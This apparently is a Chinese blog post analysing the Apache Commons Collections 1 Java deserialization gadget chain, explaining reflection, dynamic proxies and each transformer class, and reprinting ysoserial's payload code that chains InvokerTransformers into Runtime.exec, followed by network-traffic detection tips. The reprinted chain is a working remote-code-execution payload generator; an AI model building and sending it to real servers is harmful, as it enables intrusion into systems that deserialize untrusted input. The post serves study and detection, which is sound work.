Java反序列化漏洞Apache CommonsCollections1利用链分析

前言

最近分析了Java反序列化漏洞一条利用链,利用链还有很多,记录一下分析思路,思路都大体相同,在研究过程中顺便学习了一些Java知识,文中有错误理解或描述欢迎大家指正。网上对于该利用链分析的文章也很多,我个人认为比较好的两篇文章推荐给大家。

Java反序列化漏洞-玄铁重剑之CommonsCollection(上)
Commons Collections Java反序列化漏洞深入分析

Java反序列化漏洞

反序列化的过程就是将文件或对象字节流转换成数据的过程,在反序列化过程中会执行该类readObject函数。因此反序列化漏洞利用成功的两个必要点,首先是要有反序列化类,其次readObject函数内容可控。

利用链

通过对组件的研究,我们发现相同的组件(如本文要讲的apache commomscollections1),即使漏洞不同、利用方式不同,但利用过程中需要使用的一些类可能相同,这个利用过程就叫利用链。

CommonsCollections1漏洞成因

通过对组件源码的查看,在invoker/JMXInvokerServlet在这个请求中,源码在文件org.jboss.invocation.http.servlet.InvokerServlet.java 中,其中函数processRequest的作用是直接将request请求的数据直接给反序列化了,如果我们能找到某个序列化类,并在其readObject函数中写入恶意代码就可以执行命令。成因很简单,但组件源码无法修改且已安装在目标主机上,readObject是无法直接控制的,但可以通过反射、动态代理、转换等方法调试最终达到所谓的可控,执行我们的命令。

Java反射

在分析利用链之前,我们需要了解Java的两个知识:Java反射和动态代理。因为本文主要讲对利用链的分析,所以详细的Java反射内容大家可以参考java的反射到底是有什么用处?怎么用?这篇文章,文中运用具体的例子更加通俗易懂,希望你认真阅读并且理解它

最后我想总结一下我对Java反射的认识:反射可以使程序更加灵活,让使用更加方便。
这是基于程序员或者开发者视角的理解,我相信不少安全从业人员写脚本时都是一个main函数一把梭,甚至都没有函数。

动态代理

动态代理相关知识大家可以参考java动态代理实现与原理详细分析

总结一下动态代理:
动态代理的优势在于可以很方便的对代理类的函数进行统一的处理,而不用修改每个代理类中的方法。是因为所有被代理执行的方法,都是通过在InvocationHandler中的invoke方法调用的,所以我们只要在invoke方法中统一处理,就可以对所有被代理的方法进行相同的操作了

分析思路

Java中执行命令的方式有两种,使用Runtime和使用ProcessBuilder。使用Runtime的语句为Runtime.getRuntime().exec(command),利用的最终过程是执行了这条语句,那么我们反向思维,去构造这条语句并且去寻找哪个函数可以执行这条语句,然后再去找哪个函数可以去调用上面的函数,层层调用,一直到反序列化readObject函数,因为反序列化第一步就会执行readObject函数,正向第一步就是反向的最后一步,具体调试过程我们使用神器ysoserial,ysoserial Github下载地址CommonsCollection1利用链有两种方式,一种是利用LazyMap,一种是TransformedMap,ysoserial的payload是利用LazyMap,反向分析,正向调试并且正反向最后可以拼接上。

下面附上一张我画的简单图方便大家理解。
在这里插入图片描述

ConstantTransformer

在这里插入图片描述

我们看一下这个类的主函数和transform函数,主函数接收一个参数并赋值给iConstant,transform函数返回了这个变量。

InvokerTransformer

在这里插入图片描述
InvokerTransformer的主函数是接收了三个参数并分别赋值给iMethod,iParamTypes,iArgs三个变量,它的tarnsform函数通过invoke反射调用了这个方法。如果你不理解,请翻到上面再去阅读Java反射那片文章。

ChainedTransformer

在这里插入图片描述
ChainedTransformer类的主函数接收了一个Transformer类型的数组并赋值给iTransformers,它的transform函数作用是利用for循环执行该数组中每一项的transformer函数。

那么我们看下面这一段代码:

 final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
				new InvokerTransformer("exec",new Class[] { String.class }, execArgs)};

Transformer chain =new ChainedTransformer(transformers);

这段代码首先创建了一个数组transformers,并且数组中有四项,最后将这个数组传入ChainedTransformer这个类,我们上面说了ChainedTransformer的transformer函数被执行的话,传入这个类的数组中的每一项的tranformer函数就会被执行,具体到上面这个数组,如果这四项的transformer被执行的话,相当于执行了Runtime.getMthod().getRuntime().invoke().exec("execArgs"),达到我们的目标。那么哪个函数又能调用ChainedTransformer的transformer函数呢?

LazyMap

在这里插入图片描述
在这里插入图片描述
我们发现LazyMap这个类主函数接收了Transformer类型的参数赋值给factory,并且在它的get函数中,调用了factory.transform,那么如果传入的是Chainedformer,那么LazyMap.get()被调用的同时ChainedTransformer.transform()也就被调用了。此时按照思路我们需要去找哪个函数调用了LazyMap的get函数,我们正向调试看一下。

readObject

我们通过对ysoserial的payload调试,发现在反序列化执行完readObject函数后,还执行了很多invoke和readObject函数,其实我们执行过程非常复杂,我们讲的是主要的几个类,图中的调试顺序是由下到上。
在这里插入图片描述
我们发现反序列化后执行了readObject接着它又执行了AnnotationInvocationHandler的readObject函数,为什么会注意这个类,如果你掌握了动态代理这个知识,那么就不难理解了。

AnnotationInvocationHandler

在这里插入图片描述
这个类的主函数接收了两个参数var1和var2,其中var2是Map类型,并赋值给memberValues,如果传入的var2是LazyMap并且它的readObject函数中调用了memberValues.get(),那么就相当于执行了LazyMap.get()。

在这里插入图片描述
查看AnnotationInvocationHandler的readObject函数,我们并没有发现其中有调用membervalues.get()的代码,后来在它的invoke函数中我们发现了。

在这里插入图片描述

在这里插入图片描述
可是正向调试调用的是AnnotationInvocationHandler的readObject而不是invoke,这里就需要创建动态代理,执行任何函数invoke函数都会被执行。

ysoserial是使用createproxy这个函数创建的动态代理。
在这里插入图片描述

利用代码

在这里插入图片描述

至此,ysoserial利用代码利用链已经出来了。下面是ysoserial中的利用代码:

public InvocationHandler getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
			new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String.class }, execArgs),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return handler;
	}

检测手法

知道了利用链,讲一下针对漏洞的检测手法,我们用wireshark抓包看一下真实的攻击流量。
在这里插入图片描述
这几个重要类都在流量中,所以对于利用链的检测特征主要就是这个类,当然Java流量比较常见的也会使用base64编码,所以还要对这几个类的base64编码的内容做检测。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: Java反序列化漏洞一般利用思路是利用Java反序列化机制,将恶意序列化数据传递给目标系统,从而实现远程代码执行、拒绝服务等攻击。攻击者通常会构造恶意序列化数据,使其在反序列化过程中触发漏洞,从而执行恶意代码。为了防范此类攻击,可以采取一些措施,如限制反序列化对象的类型、使用安全的序列化库等。 ### 回答2: Java反序列化漏洞利用思路主要包括以下几个步骤: 1. 找到目标:攻击者首先需要找到运行了可利用Java反序列化漏洞的目标程序。这可以通过分析目标程序的代码、网络流量或者漏洞公开报告等途径进行。 2. 构造恶意序列化数据:攻击者需要构造恶意的序列化数据,这些数据会被目标程序读取并解析。攻击者可以使用一些工具或者手动编代码来生成恶意序列化数据。 3. 选择合适的漏洞利用方式:根据目标程序的具体情况,攻击者可以选择合适的漏洞利用方式。常见的利用方式包括Java反序列化漏洞利用,如利用未经过正确检验的反序列化的对象进行远程代码执行或者文件读等操作。 4. 发送恶意序列化数据:攻击者需要将构造好的恶意序列化数据发送给目标程序。这可以通过网络连接、文件上传、内存注入等方式进行。 5. 触发反序列化:目标程序接收到攻击者发送的序列化数据后,会进行相应的反序列化操作。在解析过程中,如果存在漏洞,则恶意代码会被执行,导致安全问题。 6. 实现攻击目标:一旦恶意代码被执行,攻击者可以获得对目标程序的控制,从而进行进一步的攻击行为。这可能包括窃取敏感信息、执行任意代码、篡改数据等。 为了防范Java反序列化漏洞利用,开发者可以采取一些措施,如使用安全的序列化反序列化库、校验反序列化输入、限制反序列化操作的范围和权限等。同时,及时更新和修补已知的漏洞也是非常重要的。 ### 回答3: Java反序列化漏洞利用思路如下: 在Java中,对象的序列化是将对象转换为字节流的过程,而反序列化则是将字节流还原为对象的过程。反序列化漏洞是指攻击者通过构造恶意的序列化数据,再使用该数据进行反序列化操作,从而导致程序在反序列化的过程中触发各种安全漏洞。 通常的利用思路如下: 1. 找到存在反序列化漏洞的目标:通过静态代码分析、动态分析或源码审计等手段,找到存在反序列化漏洞的应用程序。 2. 构造恶意的序列化数据:攻击者通过修改或创建特定的序列化数据,来生成恶意的序列化数据。这些数据可能包含有害的代码或意外的操作。 3. 发送恶意数据进行反序列化:攻击者将构造好的恶意序列化数据发送给目标应用程序,并通过触发反序列化操作,将恶意数据还原为对象。此时,存在漏洞的应用程序会执行恶意代码,并可能导致安全问题。 4. 利用漏洞进行攻击:一旦恶意代码被执行,攻击者可以在目标系统上执行各种恶意操作,如执行任意命令、远程代码执行、获取敏感信息等。 为了避免被反序列化漏洞攻击,需要对反序列化操作进行安全措施,比如使用白名单机制限制可反序列化的类、对反序列化方法进行签名等。同时,定期更新和修复Java环境,以及对目标应用程序进行安全测试和代码审计,也是减少反序列化漏洞风险的重要措施。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值